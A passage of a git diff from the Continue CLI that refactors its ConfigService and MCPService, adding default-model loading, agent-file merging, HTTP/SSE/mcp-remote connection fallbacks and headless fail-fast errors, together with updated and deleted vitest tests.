"owner/package-rule", + ); + expect(vi.mocked(decodePackageIdentifier)).toHaveBeenCalledWith( + "owner/mcp-server", + ); + expect(vi.mocked(decodePackageIdentifier)).toHaveBeenCalledWith( + "agent/rule", + ); + expect(vi.mocked(decodePackageIdentifier)).toHaveBeenCalledWith( + "agent/mcp", + ); + + // Should have additional blocks with string rules and URL MCPs + expect(result.additional.rules).toContain("rule1"); + expect(result.additional.rules).toContain("prompt1"); + expect(result.additional.mcpServers).toEqual([ + expect.objectContaining({ + name: "example.com", + url: "https://example.com/mcp", + }), + ]); + expect(result.additional.prompts).toEqual([ + expect.objectContaining({ + name: "Agent prompt (test-agent)", + prompt: "Agent prompt", + }), + ]); + }); + + test("should handle empty options", () => { + const result = service.getAdditionalBlocksFromOptions( + undefined, + undefined, + ); + + expect(result.injected).toEqual([]); + expect(result.additional).toEqual({ + name: "hidden", + version: "1.0.0", + rules: [], + mcpServers: [], + prompts: [], + }); + }); + }); + describe("getDependencies()", () => { - test("should declare auth and apiClient dependencies", () => { - expect(service.getDependencies()).toEqual(["auth", "apiClient"]); + test("should declare auth, apiClient, and agentFile dependencies", () => { + expect(service.getDependencies()).toEqual([ + SERVICE_NAMES.AUTH, + SERVICE_NAMES.API_CLIENT, + SERVICE_NAMES.AGENT_FILE, + ]); }); }); @@ -296,12 +441,12 @@ describe("ConfigService", () => { config: mockConfig as any, source: { type: "cli-flag", path: "/old.yaml" } as any, }); - await service.initialize( - { accessToken: "token" } as any, - "/old.yaml", - "org-123", - mockApiClient as any, - ); + await service.doInitialize({ + authConfig: { accessToken: "token" } as any, + configPath: "/old.yaml", + apiClient: mockApiClient as any, + agentFileState: mockAgentFileState, + }); const listener = vi.fn(); service.on("stateChanged", listener); @@ -311,13 +456,14 @@ describe("ConfigService", () => { config: newConfig, source: { type: "cli-flag", path: "/new.yaml" } as any, }); + vi.mocked(mergeUnrolledAssistants).mockReturnValue(newConfig); - await service.switchConfig( - "/new.yaml", - { accessToken: "token" } as any, - "org-123", - mockApiClient as any, - ); + await service.switchConfig({ + authConfig: { accessToken: "token" } as any, + configPath: "/new.yaml", + apiClient: mockApiClient as any, + agentFileState: mockAgentFileState, + }); expect(listener).toHaveBeenCalledWith( expect.objectContaining({ config: newConfig, configPath: "/new.yaml" }), @@ -329,12 +475,12 @@ describe("ConfigService", () => { }); test("should emit error on switch failure", async () => { - await service.initialize( - { accessToken: "token" } as any, - "/old.yaml", - "org-123", - mockApiClient as any, - ); + await service.doInitialize({ + authConfig: { accessToken: "token" } as any, + configPath: "/old.yaml", + apiClient: mockApiClient as any, + agentFileState: mockAgentFileState, + }); const errorListener = vi.fn(); service.on("error", errorListener); @@ -343,17 +489,256 @@ describe("ConfigService", () => { vi.mocked(configLoader.loadConfiguration).mockRejectedValue(error); await expect( - service.switchConfig( - "/bad.yaml", - { accessToken: "token" } as any, - "org-123", - mockApiClient as any, - ), + service.switchConfig({ + authConfig: { accessToken: "token" } as any, + configPath: "/bad.yaml", + apiClient: mockApiClient as any, + agentFileState: mockAgentFileState, + }), ).rejects.toThrow(); expect(errorListener).toHaveBeenCalledWith(error); }); }); + describe("addDefaultChatModelIfNone()", () => { + test("should add default model when no chat models exist", async () => { + const config = { + name: "test-config", + version: "1.0.0", + models: [ + { + name: "non-chat-model", + model: "test-model", + roles: ["embed", "rerank"], // No "chat" role + }, + ], + } as any; + + // Mock the default model loading + vi.mocked( + configLoader.unrollPackageIdentifiersAsConfigYaml, + ).mockResolvedValue({ + name: "default", + version: "1.0.0", + models: [defaultModel], + }); + + const result = await service.addDefaultChatModelIfNone( + config, + mockApiClient as any, + { accessToken: "token" } as any, + ); + + expect( + vi.mocked(configLoader.unrollPackageIdentifiersAsConfigYaml), + ).toHaveBeenCalledWith( + [ + { + uriType: "slug", + fullSlug: { + ownerSlug: "anthropic", + packageSlug: "claude-sonnet-4-5", + versionSlug: "1.0.0", + }, + }, + ], + "token", + null, + mockApiClient, + ); + + expect(result.models).toHaveLength(2); + expect(result.models![1]).toEqual(defaultModel); + }); + + test("should not add default model when chat model already exists", async () => { + const config = { + name: "test-config", + version: "1.0.0", + models: [ + { + name: "existing-chat-model", + model: "gpt-4", + roles: ["chat"], + }, + ], + } as any; + + const result = await service.addDefaultChatModelIfNone( + config, + mockApiClient as any, + { accessToken: "token" } as any, + ); + + // Should not call the unroll function since chat model exists + expect( + vi.mocked(configLoader.unrollPackageIdentifiersAsConfigYaml), + ).not.toHaveBeenCalled(); + expect(result).toBe(config); // Should return unchanged config + }); + + test("should not add default model when model with no roles exists (defaults to chat)", async () => { + const config = { + name: "test-config", + version: "1.0.0", + models: [ + { + name: "model-with-no-roles", + model: "gpt-4", + // No roles specified, defaults to including chat + }, + ], + } as any; + + const result = await service.addDefaultChatModelIfNone( + config, + mockApiClient as any, + { accessToken: "token" } as any, + ); + + expect( + vi.mocked(configLoader.unrollPackageIdentifiersAsConfigYaml), + ).not.toHaveBeenCalled(); + expect(result).toBe(config); + }); + + test("should handle empty models array by adding default model", async () => { + const config = { + name: "test-config", + version: "1.0.0", + models: [], + } as any; + + vi.mocked( + configLoader.unrollPackageIdentifiersAsConfigYaml, + ).mockResolvedValue({ + name: "default", + version: "1.0.0", + models: [defaultModel], + }); + + const result = await service.addDefaultChatModelIfNone( + config, + mockApiClient as any, + { accessToken: "token" } as any, + ); + + expect(result.models).toHaveLength(1); + expect(result.models![0]).toEqual(defaultModel); + }); + + test("should handle undefined models by adding default model", async () => { + const config = { + name: "test-config", + version: "1.0.0", + // models is undefined + } as any; + + vi.mocked( + configLoader.unrollPackageIdentifiersAsConfigYaml, + ).mockResolvedValue({ + name: "default", + version: "1.0.0", + models: [defaultModel], + }); + + const result = await service.addDefaultChatModelIfNone( + config, + mockApiClient as any, + { accessToken: "token" } as any, + ); + + expect(result.models).toHaveLength(1); + expect(result.models![0]).toEqual(defaultModel); + }); + + test("should throw error when default model fails to load", async () => { + const config = { + name: "test-config", + version: "1.0.0", + models: [], + } as any; + + const error = new Error("Failed to load default model"); + vi.mocked( + configLoader.unrollPackageIdentifiersAsConfigYaml, + ).mockRejectedValue(error); + + await expect( + service.addDefaultChatModelIfNone( + config, + mockApiClient as any, + { accessToken: "token" } as any, + true, + ), + ).rejects.toThrow( + "No model specified in headless mode (and failed to load default model)", + ); + }); + + test("should throw error when loaded default model is empty in headless", async () => { + const config = { + name: "test-config", + version: "1.0.0", + models: [], + } as any; + + // Mock empty model config + vi.mocked( + configLoader.unrollPackageIdentifiersAsConfigYaml, + ).mockResolvedValue({ + name: "default", + version: "1.0.0", + models: [], // Empty models array + }); + + await expect( + service.addDefaultChatModelIfNone( + config, + mockApiClient as any, + { accessToken: "token" } as any, + true, + ), + ).rejects.toThrow( + "No model specified in headless mode (and failed to load default model)", + ); + }); + + test("should work with null access token", async () => { + const config = { + name: "test-config", + version: "1.0.0", + models: [], + } as any; + + vi.mocked( + configLoader.unrollPackageIdentifiersAsConfigYaml, + ).mockResolvedValue({ + name: "default", + version: "1.0.0", + models: [defaultModel], + }); + + const result = await service.addDefaultChatModelIfNone( + config, + mockApiClient as any, + undefined, // No auth config + ); + + expect( + vi.mocked(configLoader.unrollPackageIdentifiersAsConfigYaml), + ).toHaveBeenCalledWith( + expect.any(Array), + null, // Should pass null for access token + null, // Should pass null for organization ID + mockApiClient, + ); + + expect(result.models).toHaveLength(1); + expect(result.models![0]).toEqual(defaultModel); + }); + }); + describe("Legacy Compatibility", () => { test("updateConfigPath method exists and has correct signature", () => { // Test that the updateConfigPath method exists and is a function diff --git a/extensions/cli/src/services/ConfigService.ts b/extensions/cli/src/services/ConfigService.ts index 149977edb..4a6b7982b 100644 --- a/extensions/cli/src/services/ConfigService.ts +++ b/extensions/cli/src/services/ConfigService.ts @@ -1,18 +1,49 @@ +import { + AssistantUnrolled, + decodePackageIdentifier, + mergeUnrolledAssistants, + PackageIdentifier, +} from "@continuedev/config-yaml"; import { DefaultApiInterface } from "@continuedev/sdk/dist/api/dist/index.js"; +import { isStringRule } from "src/hubLoader.js"; +import { getErrorString } from "src/util/error.js"; + import { AuthConfig, loadAuthConfig } from "../auth/workos.js"; import { BaseCommandOptions } from "../commands/BaseCommandOptions.js"; -import { configEnhancer } from "../configEnhancer.js"; +import { + loadConfiguration, + unrollPackageIdentifiersAsConfigYaml, +} from "../configLoader.js"; import { logger } from "../util/logger.js"; import { BaseService, ServiceWithDependencies } from "./BaseService.js"; import { serviceContainer } from "./ServiceContainer.js"; +import { ToolPermissionServiceState } from "./ToolPermissionService.js"; import { + AgentFileServiceState, ApiClientServiceState, ConfigServiceState, SERVICE_NAMES, } from "./types.js"; +const DEFAULT_MODEL_IDENTIFIER: PackageIdentifier = { + uriType: "slug", + fullSlug: { + ownerSlug: "anthropic", + packageSlug: "claude-sonnet-4-5", + versionSlug: "1.0.0", + }, +}; + +interface ConfigServiceInit { + authConfig: AuthConfig; + configPath: string | undefined; + apiClient: DefaultApiInterface; + agentFileState: AgentFileServiceState; + injectedConfigOptions?: BaseCommandOptions; + isHeadless?: boolean; +} /** * Service for managing configuration state and operations * Handles loading configs from files or assistant slugs @@ -32,99 +63,265 @@ export class ConfigService * Declare dependencies on other services */ getDependencies(): string[] { - return [SERVICE_NAMES.AUTH, SERVICE_NAMES.API_CLIENT]; + return [ + SERVICE_NAMES.AUTH, + SERVICE_NAMES.API_CLIENT, + SERVICE_NAMES.AGENT_FILE, + ]; + } + + getAdditionalBlocksFromOptions( + injectedConfigOptions: BaseCommandOptions | undefined, + agentFileState: AgentFileServiceState | undefined, + ): { + injected: PackageIdentifier[]; + additional: AssistantUnrolled; + } { + const packageIdentifiers: PackageIdentifier[] = []; + const additional: AssistantUnrolled = { + name: "hidden", + version: "1.0.0", + rules: [], + mcpServers: [], + prompts: [], + }; + + const options = injectedConfigOptions || {}; + + this.processModels(options.model || [], agentFileState, packageIdentifiers); + this.processMcpServers( + options.mcp || [], + agentFileState, + packageIdentifiers, + additional, + ); + this.processAgentFileRules(agentFileState, packageIdentifiers); + this.processRulesAndPrompts( + options.rule || [], + options.prompt || [], + packageIdentifiers, + additional, + ); + this.processAgentFilePrompt(agentFileState, additional); + + return { + injected: packageIdentifiers, + additional, + }; + } + + private processModels( + models: string[], + agentFileState: AgentFileServiceState | undefined, + packageIdentifiers: PackageIdentifier[], + ): void { + const allModels = [...models]; + if (agentFileState?.agentFile?.model) { + allModels.push(agentFileState.agentFile.model); + } + + for (const model of allModels) { + try { + packageIdentifiers.push(decodePackageIdentifier(model)); + } catch (e) { + logger.warn(`Failed to add model "${model}": ${getErrorString(e)}`); + } + } + } + + private processMcpServers( + mcps: string[], + agentFileState: AgentFileServiceState | undefined, + packageIdentifiers: PackageIdentifier[], + additional: AssistantUnrolled, + ): void { + const allMcps = [ + ...mcps, + ...(agentFileState?.parsedTools?.mcpServers || []), + ]; + + for (const mcp of allMcps) { + try { + if (this.isUrl(mcp)) { + additional.mcpServers!.push({ + name: new URL(mcp).hostname, + url: mcp, + }); + } else { + packageIdentifiers.push(decodePackageIdentifier(mcp)); + } + } catch (e) { + logger.warn(`Failed to add MCP server "${mcp}": ${getErrorString(e)}`); + } + } + } + + private processAgentFileRules( + agentFileState: AgentFileServiceState | undefined, + packageIdentifiers: PackageIdentifier[], + ): void { + for (const rule of agentFileState?.parsedRules || []) { + try { + packageIdentifiers.push(decodePackageIdentifier(rule)); + } catch (e) { + logger.warn( + `Failed to get rule "${rule} (from agent file)": ${getErrorString(e)}`, + ); + } + } + } + + private processRulesAndPrompts( + rules: string[], + prompts: string[], + packageIdentifiers: PackageIdentifier[], + additional: AssistantUnrolled, + ): void { + const allRulesAndPrompts = [...rules, ...prompts]; + + for (const item of allRulesAndPrompts) { + try { + if (isStringRule(item)) { + additional.rules!.push(item); + } else { + packageIdentifiers.push(decodePackageIdentifier(item)); + } + } catch (e) { + logger.warn( + `Failed to load rule or prompt "${item}": ${getErrorString(e)}`, + ); + } + } + } + + private processAgentFilePrompt( + agentFileState: AgentFileServiceState | undefined, + additional: AssistantUnrolled, + ): void { + if (agentFileState?.agentFile?.prompt) { + additional.prompts!.push({ + name: `Agent prompt (${agentFileState.agentFile.name})`, + prompt: agentFileState.agentFile.prompt, + description: agentFileState.agentFile.description, + }); + } + } + + private isUrl(value: string): boolean { + return value.startsWith("http://") || value.startsWith("https://"); + } + + async addDefaultChatModelIfNone( + config: AssistantUnrolled, + apiClient: DefaultApiInterface, + authConfig: AuthConfig | undefined, + isHeadless?: boolean, + ): Promise { + const hasChatModel = !!config.models?.find( + (m) => !!m && (!m.roles || m.roles.includes("chat")), + ); + if (!hasChatModel) { + try { + const modelConfig = await unrollPackageIdentifiersAsConfigYaml( + [DEFAULT_MODEL_IDENTIFIER], + authConfig?.accessToken ?? null, + authConfig?.organizationId ?? null, + apiClient, + ); + const defaultModel = modelConfig?.models?.[0]; + if (!defaultModel) { + throw new Error("Loaded default model contained no model block"); + } + config.models = [...(config.models || []), defaultModel]; + } catch (e) { + if (isHeadless) { + throw new Error( + "No model specified in headless mode (and failed to load default model)", + ); + } else { + logger.error( + "Failed to load default model with no model specified", + e, + ); + } + } + } + return config; + } + + private async loadConfig( + init: ConfigServiceInit, + ): Promise { + const { + authConfig, + configPath, + apiClient, + injectedConfigOptions, + agentFileState, + } = init; + const { injected, additional } = this.getAdditionalBlocksFromOptions( + injectedConfigOptions, + agentFileState, + ); + + const result = await loadConfiguration( + authConfig, + configPath, + apiClient, + injected, + init.isHeadless, + ); + + const loadedConfig = result.config; + const merged = mergeUnrolledAssistants(loadedConfig, additional); + + const withModel = await this.addDefaultChatModelIfNone( + merged, + apiClient, + authConfig, + init.isHeadless, + ); + + // Config URI persistence is now handled by the streamlined loader + logger.debug("ConfigService initialized successfully"); + + const state = { + config: withModel, + configPath, + }; + this.setState(state); + + return state; } /** * Initialize the config service */ - async doInitialize( - authConfig: AuthConfig, - configPath: string | undefined, - _organizationId: string | null, - apiClient: DefaultApiInterface, - injectedConfigOptions?: BaseCommandOptions, - ): Promise { - // Use the new streamlined config loader - const { loadConfiguration } = await import("../configLoader.js"); - const result = await loadConfiguration(authConfig, configPath, apiClient); - - let config = result.config; - - // Apply injected config if provided - if ( - injectedConfigOptions && - this.hasInjectedConfig(injectedConfigOptions) - ) { - config = await configEnhancer.enhanceConfig( - config, - injectedConfigOptions, - ); - - logger.debug("Applied injected configuration"); - } + async doInitialize(init: ConfigServiceInit): Promise { + const result = await this.loadConfig(init); // Config URI persistence is now handled by the streamlined loader - logger.debug("ConfigService initialized successfully"); - return { - config, - configPath, - }; + return result; } /** * Switch to a new configuration */ - async switchConfig( - newConfigPath: string, - authConfig: AuthConfig, - _organizationId: string | null, - apiClient: DefaultApiInterface, - injectedConfigOptions?: BaseCommandOptions, - ): Promise { + async switchConfig(init: ConfigServiceInit): Promise { logger.debug("Switching configuration", { from: this.currentState.configPath, - to: newConfigPath, + to: init.configPath, }); try { - // Use the new streamlined config loader - const { loadConfiguration } = await import("../configLoader.js"); - const result = await loadConfiguration( - authConfig, - newConfigPath, - apiClient, - ); - - let config = result.config; - - // Apply injected config if provided - if ( - injectedConfigOptions && - this.hasInjectedConfig(injectedConfigOptions) - ) { - config = await configEnhancer.enhanceConfig( - config, - injectedConfigOptions, - ); - - logger.debug("Applied injected configuration"); - } - - this.setState({ - config, - configPath: newConfigPath, - }); - - // Config URI persistence is now handled by the streamlined loader - + const state = await this.loadConfig(init); logger.debug("Configuration switched successfully", { - newConfigPath, + newConfigPath: init.configPath, }); - return this.getState(); + return state; } catch (error: any) { logger.error("Failed to switch configuration:", error); this.emit("error", error); @@ -136,10 +333,7 @@ export class ConfigService * Reload the current configuration */ async reload( - authConfig: AuthConfig, - _organizationId: string | null, - apiClient: DefaultApiInterface, - injectedConfigOptions?: BaseCommandOptions, + init: Omit, ): Promise { if (!this.currentState.configPath) { throw new Error("No configuration path available for reload"); @@ -147,25 +341,10 @@ export class ConfigService logger.debug("Reloading current configuration"); - return this.switchConfig( - this.currentState.configPath, - authConfig, - _organizationId, - apiClient, - injectedConfigOptions, - ); - } - - /** - * Check if injected config options contain any config to inject - */ - private hasInjectedConfig(options: BaseCommandOptions): boolean { - return !!( - (options.rule && options.rule.length > 0) || - (options.mcp && options.mcp.length > 0) || - (options.model && options.model.length > 0) || - (options.prompt && options.prompt.length > 0) - ); + return this.switchConfig({ + ...init, + configPath: this.currentState.configPath, + }); } /** @@ -181,40 +360,39 @@ export class ConfigService try { // Get current auth and API client state needed for config loading const authConfig = loadAuthConfig(); - const apiClientState = await serviceContainer.get( + const { apiClient } = await serviceContainer.get( SERVICE_NAMES.API_CLIENT, ); - if (!apiClientState.apiClient) { + if (!apiClient) { throw new Error("API client not available"); } - // Load the new configuration using streamlined loader - const { loadConfiguration } = await import("../configLoader.js"); - const result = await loadConfiguration( - authConfig, - newConfigPath, - apiClientState.apiClient, + const agentFileState = await serviceContainer.get( + SERVICE_NAMES.AGENT_FILE, ); - // Update internal state - this.setState({ - config: result.config, + const toolPermissionsState = + await serviceContainer.get( + SERVICE_NAMES.TOOL_PERMISSIONS, + ); + + const result = await this.loadConfig({ + agentFileState, + apiClient, + authConfig, configPath: newConfigPath, + injectedConfigOptions: {}, + isHeadless: toolPermissionsState.isHeadless, }); - // Config URI persistence is now handled by the streamlined loader - - // Update the CONFIG service in the container - serviceContainer.set(SERVICE_NAMES.CONFIG, this.getState()); - // Manually reload dependent services (MODEL, MCP) to pick up the new config await serviceContainer.reload(SERVICE_NAMES.MODEL); await serviceContainer.reload(SERVICE_NAMES.MCP); logger.debug("Configuration path updated successfully", { newConfigPath, - configName: result.config.name, + configName: result.config?.name, }); } catch (error: any) { logger.error("Failed to update configuration path:", error); @@ -222,4 +400,9 @@ export class ConfigService throw error; } } + + setState(newState: Partial): void { + super.setState(newState); + serviceContainer.set(SERVICE_NAMES.CONFIG, this.currentState); + } } diff --git a/extensions/cli/src/services/FileIndexService.ts b/extensions/cli/src/services/FileIndexService.ts index 518ffe9c4..9482699e2 100644 --- a/extensions/cli/src/services/FileIndexService.ts +++ b/extensions/cli/src/services/FileIndexService.ts @@ -2,6 +2,7 @@ import { fdir } from "fdir"; import { AsyncFzf, FzfResultItem } from "fzf"; import { FILE_IGNORE_PATTERNS } from "../util/filePatterns.js"; +import { isGitRepo } from "../util/git.js"; import { logger } from "../util/logger.js"; import { BaseService } from "./BaseService.js"; @@ -131,10 +132,15 @@ export class FileIndexService extends BaseService { const currentDir = process.cwd(); logger.debug(`Starting file index in directory: ${currentDir}`); + // Determine max depth based on git repository status + const inGitRepo = isGitRepo(); + const maxDepth = inGitRepo ? 10 : 3; + // Create file indexing promise const fileIndexPromise = new fdir() .withFullPaths() .withRelativePaths() + .withMaxDepth(maxDepth) .filter((path) => { // Use the helper function that implements original FILE_PATTERNS logic return this.shouldIncludeFile(path); diff --git a/extensions/cli/src/services/MCPService.ts b/extensions/cli/src/services/MCPService.ts index 8088894e0..d261621c6 100644 --- a/extensions/cli/src/services/MCPService.ts +++ b/extensions/cli/src/services/MCPService.ts @@ -1,9 +1,16 @@ import { type AssistantConfig } from "@continuedev/sdk"; import { Client } from "@modelcontextprotocol/sdk/client/index.js"; -import { SSEClientTransport } from "@modelcontextprotocol/sdk/client/sse.js"; +import { + SSEClientTransport, + SseError, +} from "@modelcontextprotocol/sdk/client/sse.js"; import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js"; import { StreamableHTTPClientTransport } from "@modelcontextprotocol/sdk/client/streamableHttp.js"; -import { Transport } from "@modelcontextprotocol/sdk/shared/transport.js"; +import { + HttpMcpServer, + SseMcpServer, + StdioMcpServer, +} from "node_modules/@continuedev/config-yaml/dist/schemas/mcp/index.js"; import { getErrorString } from "../util/error.js"; import { logger } from "../util/logger.js"; @@ -17,6 +24,14 @@ import { SERVICE_NAMES, } from "./types.js"; +function is401Error(error: unknown) { + return ( + (error instanceof SseError && error.code === 401) || + (error instanceof Error && error.message.includes("401")) || + (error instanceof Error && error.message.includes("Unauthorized")) + ); +} + interface ServerConnection extends MCPConnectionInfo { client: Client | null; } @@ -35,9 +50,10 @@ export class MCPService private connections: Map = new Map(); private assistant: AssistantConfig | null = null; private isShuttingDown = false; + private isHeadless = false; getDependencies(): string[] { - return [SERVICE_NAMES.AUTH, SERVICE_NAMES.API_CLIENT, SERVICE_NAMES.CONFIG]; + return [SERVICE_NAMES.CONFIG]; } constructor() { super("MCPService", { @@ -62,6 +78,9 @@ export class MCPService serverCount: assistant.mcpServers?.length || 0, }); + // Store headless mode flag + this.isHeadless = waitForConnections; + await this.shutdownConnections(); this.assistant = assistant; @@ -88,6 +107,19 @@ export class MCPService ); if (waitForConnections) { await connectionInit; + + // In headless mode, throw error if any MCP server failed to connect + const failedConnections = Array.from(this.connections.values()).filter( + (c) => c.status === "error", + ); + if (failedConnections.length > 0) { + const errorMessages = failedConnections.map( + (c) => `${c.config?.name}: ${c.error}`, + ); + throw new Error( + `MCP server(s) failed to load in headless mode:\n${errorMessages.join("\n")}`, + ); + } } else { this.updateState(); } @@ -217,19 +249,7 @@ export class MCPService this.updateState(); try { - const client = new Client( - { name: "continue-cli-client", version: "1.0.0" }, - { capabilities: {} }, - ); - - const transport = await this.constructTransport(serverConfig); - - logger.debug("Connecting to MCP server", { - name: serverName, - command: serverConfig.command, - }); - - await client.connect(transport, {}); + const client = await this.getConnectedClient(serverConfig); connection.client = client; connection.status = "connected"; @@ -256,6 +276,13 @@ export class MCPService name: serverName, error: errorMessage, }); + + // In headless mode, throw error on capability failures + if (this.isHeadless) { + throw new Error( + `Failed to load prompts from MCP server ${serverName}: ${errorMessage}`, + ); + } } } @@ -273,18 +300,30 @@ export class MCPService name: serverName, error: errorMessage, }); + + // In headless mode, throw error on capability failures + if (this.isHeadless) { + throw new Error( + `Failed to load tools from MCP server ${serverName}: ${errorMessage}`, + ); + } } } - logger.debug("MCP server restarted successfully", { name: serverName }); + logger.debug("MCP server connected successfully", { name: serverName }); } catch (error) { const errorMessage = getErrorString(error); connection.status = "error"; connection.error = errorMessage; - logger.error("Failed to restart MCP server", { + logger.error("Failed to connect to MCP server", { name: serverName, error: errorMessage, }); + + // In headless mode, re-throw the error to fail fast + if (this.isHeadless) { + throw error; + } } this.updateState(); @@ -349,66 +388,141 @@ export class MCPService } /** - * Construct transport based on server configuration + * Construct transport based on server configuration and connect client */ - private async constructTransport( + private async getConnectedClient( serverConfig: MCPServerConfig, - ): Promise { - const transportType = serverConfig.type || "stdio"; + ): Promise { + const client = new Client( + { name: "continue-cli-client", version: "1.0.0" }, + { capabilities: {} }, + ); - switch (transportType) { - case "stdio": - if (!serverConfig.command) { - throw new Error( - "MCP server command is not specified for stdio transport", + if ("command" in serverConfig) { + // STDIO: no need to check type, just if command is present + logger.debug("Connecting to MCP server", { + name: serverConfig.name, + command: serverConfig.command, + }); + const transport = this.constructStdioTransport(serverConfig); + await client.connect(transport, {}); + } else { + // SSE/HTTP: if type isn't explicit: try http and fall back to sse + logger.debug("Connecting to MCP server", { + name: serverConfig.name, + url: serverConfig.url, + }); + + try { + if (serverConfig.type === "sse") { + const transport = this.constructSseTransport(serverConfig); + await client.connect(transport, {}); + } else if (serverConfig.type === "streamable-http") { + const transport = this.constructHttpTransport(serverConfig); + await client.connect(transport, {}); + } + } catch (error: unknown) { + // on authorization error, use "mcp-remote" with stdio transport to connect + if (is401Error(error)) { + const transport = this.constructStdioTransport({ + name: serverConfig.name, + command: "npx", + args: ["-y", "mcp-remote", serverConfig.url], + }); + await client.connect(transport, {}); + } else { + throw error; + } + } + + if (typeof serverConfig.type === "undefined") { + try { + const transport = this.constructHttpTransport(serverConfig); + await client.connect(transport, {}); + } catch { + logger.debug( + "MCP Connection: http connection failed, falling back to sse connection", + { + name: serverConfig.name, + }, ); + try { + const transport = this.constructSseTransport(serverConfig); + await client.connect(transport, {}); + } catch (e) { + throw new Error( + `MCP config with URL and no type specified failed both SSE and HTTP connection: ${e instanceof Error ? e.message : String(e)}`, + ); + } } - - const env: Record = serverConfig.env || {}; - if (process.env.PATH !== undefined) { - env.PATH = process.env.PATH; - } - - return new StdioClientTransport({ - command: serverConfig.command, - args: serverConfig.args || [], - env, - cwd: serverConfig.cwd, - stderr: "ignore", - }); - - case "sse": - if (!serverConfig.url) { - throw new Error("MCP server URL is not specified for SSE transport"); - } - return new SSEClientTransport(new URL(serverConfig.url), { - eventSourceInit: { - fetch: (input, init) => - fetch(input, { - ...init, - headers: { - ...init?.headers, - ...(serverConfig.requestOptions?.headers as - | Record - | undefined), - }, - }), - }, - requestInit: { headers: serverConfig.requestOptions?.headers }, - }); - - case "streamable-http": - if (!serverConfig.url) { - throw new Error( - "MCP server URL is not specified for streamable-http transport", - ); - } - return new StreamableHTTPClientTransport(new URL(serverConfig.url), { - requestInit: { headers: serverConfig.requestOptions?.headers }, - }); - - default: - throw new Error(`Unsupported transport type: ${transportType}`); + } else if ( + !["streamable-http", "sse", "stdio"].includes(serverConfig.type) + ) { + throw new Error(`Unsupported transport type: ${serverConfig.type}`); + } } + + return client; + } + + private constructSseTransport( + serverConfig: SseMcpServer, + ): SSEClientTransport { + // Merge apiKey into headers if provided + const headers = { + ...serverConfig.requestOptions?.headers, + ...(serverConfig.apiKey && { + Authorization: `Bearer ${serverConfig.apiKey}`, + }), + }; + + return new SSEClientTransport(new URL(serverConfig.url), { + eventSourceInit: { + fetch: (input, init) => + fetch(input, { + ...init, + headers: { + ...init?.headers, + ...headers, + }, + }), + }, + requestInit: { headers }, + }); + } + private constructHttpTransport( + serverConfig: HttpMcpServer, + ): StreamableHTTPClientTransport { + // Merge apiKey into headers if provided + const headers = { + ...serverConfig.requestOptions?.headers, + ...(serverConfig.apiKey && { + Authorization: `Bearer ${serverConfig.apiKey}`, + }), + }; + + return new StreamableHTTPClientTransport(new URL(serverConfig.url), { + requestInit: { headers }, + }); + } + private constructStdioTransport( + serverConfig: StdioMcpServer, + ): StdioClientTransport { + const env: Record = serverConfig.env || {}; + if (process.env) { + for (const [key, value] of Object.entries(process.env)) { + if (!(key in env) && !!value) { + env[key] = value; + } + } + } + + return new StdioClientTransport({ + command: serverConfig.command, + args: serverConfig.args || [], + env, + cwd: serverConfig.cwd, + stderr: "ignore", + }); } } diff --git a/extensions/cli/src/services/ModeService.test.ts b/extensions/cli/src/services/ModeService.test.ts deleted file mode 100644 index 974826377..000000000 --- a/extensions/cli/src/services/ModeService.test.ts +++ /dev/null @@ -1,259 +0,0 @@ -import { beforeEach, afterEach, describe, expect, vi, test } from "vitest"; - -import { ModeService } from "./ModeService.js"; - -describe("ModeService", () => { - let modeService: ModeService; - - beforeEach(() => { - // Reset singleton instance for each test - (ModeService as any).instance = undefined; - modeService = ModeService.getInstance(); - }); - - afterEach(() => { - // Clean up singleton instance - (ModeService as any).instance = undefined; - }); - - describe("State Management", () => { - test("should initialize with normal mode by default", async () => { - const state = await modeService.initialize({}); - - expect(state).toEqual({ - mode: "normal", - toolPermissionService: expect.any(Object), - }); - expect(modeService.getCurrentMode()).toBe("normal"); - }); - - test("should convert readonly flag to plan mode", async () => { - const state = await modeService.initialize({ readonly: true }); - - expect(state.mode).toBe("plan"); - expect(modeService.getCurrentMode()).toBe("plan"); - }); - - test("should convert auto flag to auto mode", async () => { - const state = await modeService.initialize({ auto: true }); - - expect(state.mode).toBe("auto"); - expect(modeService.getCurrentMode()).toBe("auto"); - }); - - test("should initialize tool permission service with flags", async () => { - const state = await modeService.initialize({ - allow: ["testTool"], - exclude: ["badTool"], - }); - - const toolPermissionService = state.toolPermissionService; - expect(toolPermissionService).toBeDefined(); - expect(toolPermissionService.getState()).toBeDefined(); - expect(toolPermissionService.getCurrentMode()).toBe("normal"); - }); - }); - - describe("switchMode()", () => { - beforeEach(async () => { - await modeService.initialize({}); - }); - - test("should switch from normal to plan mode", () => { - expect(modeService.getCurrentMode()).toBe("normal"); - - modeService.switchMode("plan"); - - expect(modeService.getCurrentMode()).toBe("plan"); - expect(modeService.getState().mode).toBe("plan"); - }); - - test("should switch from plan to auto mode", () => { - modeService.switchMode("plan"); - expect(modeService.getCurrentMode()).toBe("plan"); - - modeService.switchMode("auto"); - - expect(modeService.getCurrentMode()).toBe("auto"); - expect(modeService.getState().mode).toBe("auto"); - }); - - test("should switch back to normal mode", () => { - modeService.switchMode("plan"); - modeService.switchMode("normal"); - - expect(modeService.getCurrentMode()).toBe("normal"); - expect(modeService.getState().mode).toBe("normal"); - }); - - test("should update tool permission service when switching modes", () => { - const toolPermissionService = modeService.getToolPermissionService(); - const initialState = toolPermissionService.getState(); - - modeService.switchMode("auto"); - const newState = toolPermissionService.getState(); - - expect(newState.currentMode).toBe("auto"); - expect(newState.permissions.policies.length).toBeGreaterThan(0); - expect(newState.permissions.policies[0]).toEqual({ - tool: "*", - permission: "allow", - }); - }); - - test("should handle multiple mode switches correctly", () => { - // Start in normal - expect(modeService.getCurrentMode()).toBe("normal"); - - // Switch to plan - modeService.switchMode("plan"); - const planState = modeService.getToolPermissionService().getState(); - expect(planState.permissions.policies).toContainEqual({ - tool: "Write", - permission: "exclude", - }); - - // Switch to auto - modeService.switchMode("auto"); - const autoState = modeService.getToolPermissionService().getState(); - expect(autoState.permissions.policies).toHaveLength(1); - expect(autoState.permissions.policies[0]).toEqual({ - tool: "*", - permission: "allow", - }); - - // Back to normal - modeService.switchMode("normal"); - const normalState = modeService.getToolPermissionService().getState(); - expect(normalState.currentMode).toBe("normal"); - }); - }); - - describe("getAvailableModes()", () => { - beforeEach(async () => { - await modeService.initialize({}); - }); - - test("should return all available modes with descriptions", () => { - const modes = modeService.getAvailableModes(); - expect(modes).toHaveLength(3); - - const modeNames = modes.map((m) => m.mode); - 